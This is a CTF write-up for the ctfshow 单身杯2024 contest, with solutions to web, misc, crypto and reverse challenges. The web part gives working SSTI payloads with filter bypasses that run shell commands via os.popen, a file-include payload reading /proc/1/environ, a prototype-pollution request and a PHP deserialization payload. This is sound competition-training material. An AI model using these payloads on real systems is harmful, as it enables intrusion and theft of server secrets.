ctfshow单身杯2024 Writeup By V3geD4g

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

WEB

签到·好玩的PHP

直接用数字和字符串绕就可以了

<?php

    class ctfshow {
        private $d = '1';
        private $s = '2';
        private $b = '3';
        private $ctf = 123;

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }
echo urlencode(serialize(new ctfshow));

迷雾重重

有一个任意文件包含

全局搜include,找到下面这个位置vendor/workerman/webman-framework/src/support/view/Raw.php

这里有一个include $__template_path__;并且可以通过变量覆盖传入任意值

image-20241112155721576

继续往上找,发现support/helpers.php里面调用了render,并且参数可控,直接get传就行

image-20241112155925335

最后就是app/controller/IndexController.php首页控制器里面的testJson方法直接调用了上面的view,就结束了,是一个任意文件读取,最后payload如下

{"name":"guest","__template_path__":"/proc/1/environ"}

image-20241112160912082

ez_inject

比较脑洞,首先是原型链污染,由于不知道题目用的什么语言,只能硬猜,最后发现可以在注册时候直接多加一行is_admin去污染

POST /register HTTP/1.1
Host: 1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show
Content-Length: 52
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,pl;q=0.7,en;q=0.6
Priority: u=0, i
Connection: close

{"username":"aaa",
"password":"1",
"is_admin":1
}

image-20241112161517424

成为admin登录后,提示echo处存在注入

image-20241112161545253

试了一下是一个不用括号的ssti,不知道过滤了什么,只能慢慢试出来,最后可以用的payload如下

config|attr('__in''it__')|attr('__glo''bals__')|attr('__geti''tem__')('os')|attr('popen')('ca''t /f''lag')|attr('re''ad')()

image-20241112161559873

ezzz_ssti

只限制了长度的ssti,最大长度40,用config.update就行了,最后payload如下

{{config.update(f=lipsum.__globals__)}}
{{config.update(o=config.f.os)}}
{{config.update(p=config.o.popen)}}
{{config.p(request.args.c).read()}}&c=cat /f*

MISC

easy_mem_1

使用图形化工具lovelymem一把梭

查看系统信息就行了

image-20241112162047260

最后flag

ctfshow{ZHUYUN_S_PC_192.168.26.129_22621}

easy_mem_2

还是使用图形化工具lovelymem一把梭

查看web时间线就行了

image-20241112162310466

qq号在挂载的qq目录下就有

image-20241112162355061

最后flag

ctfshow{54297198_穿成魔尊后我一心求死_BV1ZU4y1G7AP}

easy_mem_3

继续使用lovelymem一把梭

可以进程可以用恶意软件检测查看,发现一个叫Hmohgnsyc.exe的进程非常可疑

image-20241112162513489

找一下这个文件的位置,发现在todesk的目录下

image-20241112162835331

直接传微步沙箱可以拿到域名

image-20241112163021991

最后flag

ctfshow{Hmohgnsyc.exe_todesk_jieba.net}

没耳朵都可以

给了个mp3,看了提示后才知道和音频无关,题目中说是不是原版,这很重要,怀疑和mp3中每一个frame的original这一位有关

image-20241112164027215

写个脚本提取一下,下面的脚本有点粗糙,可能会多几位,但是不影响做题

# 导入必要的模块
import os


def find_fffb_positions(file_path):
    headers = []
    positions = []  # 用于存储FFFB的位置
    try:
        with open(file_path, 'rb') as file:  # 以二进制模式打开文件
            content = file.read()  # 读取整个文件内容
            index = 0  # 初始化索引

            # 查找FFFB的所有位置
            while index < len(content) - 1:  # 确保不会越界
                # 检查当前和下一个字节是否为FFFB
                if content[index] == 0xFF and content[index + 1] == 0xFB:
                    if content[index + 2] == 0xE2 or content[index + 2] == 0xE0:
                        # if content[index + 3] == 0x60 or content[index + 3] == 0x40:
                            positions.append(index)  # 记录位置
                            headers.append(content[index:index + 4])
                index += 1  # 移动到下一个字节

        return positions,headers  # 返回所有找到的位置

    except FileNotFoundError:
        print(f"文件未找到: {file_path}")
        return []
    except Exception as e:
        print(f"发生错误: {e}")
        return []


if __name__ == "__main__":
    file_name = "fox01.mp3"  # 文件名
    positions,headers = find_fffb_positions(file_name)  # 调用函数
    print(len(positions))
    # print(list(set(headers)))
    f = open('ori.txt','w')
    for i in headers:
        f.write(bin(i[3])[2:].zfill(8)[-3])
        # print(bin(i[3])[2:].zfill(8)[-3],end='')

拿到original位后,观察一下,发现大概率是画图,因为前面后面都很多0

image-20241112164205061

写个脚本爆破一下图片宽度画图,最后宽度301的时候得到flag

import os
from PIL import Image


def create_images_from_binary(file_path, output_dir, max_width=1000):
    # 读取二进制字符串
    with open(file_path, 'r') as file:
        binary_string = file.read().strip()

    # 确保输出目录存在
    os.makedirs(output_dir, exist_ok=True)

    length = len(binary_string)

    for width in range(1, max_width + 1):
        height = (length + width - 1) // width  # 计算高度,向上取整

        # 创建新的图片
        image = Image.new('1', (width, height))
        pixels = image.load()

        # 填充像素
        for i in range(length):
            x = i % width
            y = i // width
            pixels[x, y] = int(binary_string[i])

        # 填充剩余部分为0
        for i in range(length, width * height):
            x = i % width
            y = i // width
            pixels[x, y] = 0

        # 保存图片
        output_path = os.path.join(output_dir, f'image_{width}x{height}.png')
        image.save(output_path)
        print(f'Saved image: {output_path}')


if __name__ == "__main__":
    input_file_path = 'ori.txt'  # 替换为你的输入文件路径
    output_directory = 'tmp'  # 替换为你的输出目录
    create_images_from_binary(input_file_path, output_directory)

image-20241112164259128

CRYPTO

签到·一把梭

告诉d范围,爆破即可

from Crypto.Util.number import *
m =365570067986928236989573788230270407130085464313909252527513197832758480604817399268366313889131551088558394832418649150417321940578277210433329648095352247884911033780856767602238960538520312352025465812228462858158997175162265505345470937926646520732298730237509998898024691120409770049168658027104966429925920045510148612448817
print(long_to_bytes(m))

#什么年代了还在做低加密指数的传统RSA?我就猜出题人在100以内找个d然后模拟出e加密的。

n=0x846d39bff2e430ce49d3230c7f00b81b23e4f0c733f7f52f6a5d32460e456e5f
c=0x4eeec51849a85e5a6566f8d73a74b1e64959aa893f98e01c1e02c3120496f8b1

for d in range(100):
    m = pow(c,d,n)
    print(long_to_bytes(m))
# b'ctfshow{b4n_your_1_b1o0d}'

image-20241112163334694

古典古典古典

base64->栅栏->凯撒->atbash

image-20241112163443514

ASR

告诉m的范围,直接爆破即可

for i in range(372):
    a = 40913285701005622718863058877533926183158872052161364026817991159+i
    print(long_to_bytes(a))
# b'ctfshow{RSA_not_is_not_ASR}

ex咖喱棒

getPrime范围很小,可以直接爆破

n= 9007989895621669259301762739598643626213892494330778168383286295463641223987867033273111296978959160408689408884183780314498828688143466136060628598819311509949865018608092450964012727526450914131409697944090166113416984201622940137239452703698919890772056684013237404520834408811118739546684092365102406400768733
c= 3155015611586304247269005826733691392085437186284673630268852999607965592611252562808748872502491405722341353019602057980123546192900359248245073985988035982837057433789538035295585235536446429172802713235552248615722281314286849930993306403034865999074888279573724168174433746677852218329931104122667029131804586

from sympy import *
import gmpy2
from Crypto.Util.number import *


def givemeprime(p):
    while (p).bit_length() <= 512:
        p = nextprime(p*2**10)
    return p

e=2**32+1
for p in range(512,1024):
    if n%(givemeprime(p))==0:
        p = givemeprime(p)
        print(p)
        q = n//p
        phi = (p-1)*(q-1)
        d = gmpy2.invert(e, phi)
        m = pow(c,d,n)
        print(m)
        print(long_to_bytes(m))
        
#ctfshow{exp_i5_a_5ki11_u_mUs7_m45t3r}

REVERSE

签到·easyRE

反编译一下,把代码复制出来调试一下,发现实际上运行的是里面的一段aes加密,重点在下面这行

image-20241112163756250

拿到密文和key,写个解密脚本就行了

package com.ctfshow;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.*;

public class D8yDSBCTF {

    private static final String P3WSSK = "AES/ECB/PKCS5Padding";
    private static final String C89SYS__ = "abcdefghijklmnopqrstuvwxyz";
    private static final String C7yyfggl = C89SYS__.toUpperCase();
    private static final String N9SSCRT = "0123456789";
    private static final String D9UUSACR = C89SYS__ + C7yyfggl + N9SSCRT;
    private static SecureRandom rf3ffc = new SecureRandom();

    public void start() throws Exception {
        String key = b3f7a__0x337f2a(a98fac77f__3c2a(1 << 4)).get(1);
        String e3yfbbglsk = b3f7a__0x337f2a(a98fac77f__3c2a(1 << 4)).get(0);
        System.out.println(e3yfbbglsk);
        Scanner scanner = new Scanner(System.in);
        System.out.println("please input password:");
        String i3clscwyt = scanner.nextLine();
        if (e3c7go_to(i3clscwyt, key).equals(e3yfbbglsk)) {
            System.out.println("Login Successful");
        } else {
            System.out.println("Login Failed");
        }
    }

    public static void main(String[] args) throws Exception {
        String key = b3f7a__0x337f2a(a98fac77f__3c2a(1 << 4)).get(1);
        String e3yfbbglsk = b3f7a__0x337f2a(a98fac77f__3c2a(1 << 4)).get(0);
        System.out.println(key);
        System.out.println(e3yfbbglsk);
        System.out.println(decrypt_e3c7go(e3yfbbglsk, key));
    }

    private static List<String> b3f7a__0x337f2a(String a783c_7fxf__) {
        final String f37xcrxedrd_ = "jvjeTQVGcDGPgFeC+E90Pz6wYzjcBK49YDx2W+6YFTjk/wma7Oa5J3O2ns8OptbxyNgIvYJf/J4BRJOat0LY2A==";
        StringBuilder c0fybbg = new StringBuilder();
        List<String> l2crsys = new ArrayList<String>();
        char[] f117xc = f37xcrxedrd_.toCharArray();
        for (char c : f117xc) {
            c0fybbg.append((char) (((c >>> 4 ^ (c << 4) ^ (c >>> 4))) >> 4));
        }
        l2crsys.add(c0fybbg.substring(0, c0fybbg.length() - 24));
        l2crsys.add(c0fybbg.substring(l2crsys.get(0).length(), c0fybbg.length()));
        return l2crsys;
    }

    public static String a98fac77f__3c2a(int length) {
        if (length < 1) throw new IllegalArgumentException("Length must be positive");

        StringBuilder s7cyscrs = new StringBuilder(length);
        for (int i = 0; i < length; i++) {
            int randomIndex = rf3ffc.nextInt(D9UUSACR.length());
            s7cyscrs.append(D9UUSACR.charAt(randomIndex));
        }
        return s7cyscrs.toString();
    }

    public static String e3c7go_to(String coysc21k, String k89csbbv) throws Exception {
        while (k89csbbv.getBytes(StandardCharsets.UTF_8).length < 16) {
            k89csbbv = k89csbbv;
        }
        byte[] keyBytes = k89csbbv.substring(0, 16).getBytes(StandardCharsets.UTF_8);
        SecretKeySpec s88vfy = new SecretKeySpec(keyBytes, "AES");
        Cipher c1ppy = Cipher.getInstance(P3WSSK);
        c1ppy.init(Cipher.ENCRYPT_MODE, s88vfy);
        byte[] encryptedBytes = c1ppy.doFinal(coysc21k.getBytes(StandardCharsets.UTF_8));
        return Base64.getEncoder().encodeToString(encryptedBytes);
    }
    
    public static String decrypt_e3c7go(String encryptedText, String k89csbbv) throws Exception {
        while (k89csbbv.getBytes(StandardCharsets.UTF_8).length < 16) {
            k89csbbv = k89csbbv;
        }
        byte[] keyBytes = k89csbbv.substring(0, 16).getBytes(StandardCharsets.UTF_8);
        SecretKeySpec s88vfy = new SecretKeySpec(keyBytes, "AES");
        Cipher c1ppy = Cipher.getInstance(P3WSSK);
        c1ppy.init(Cipher.DECRYPT_MODE, s88vfy);
        byte[] decryptedBytes = c1ppy.doFinal(Base64.getDecoder().decode(encryptedText));
        return new String(decryptedBytes, StandardCharsets.UTF_8);
    }
}

image-20241112163836057

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值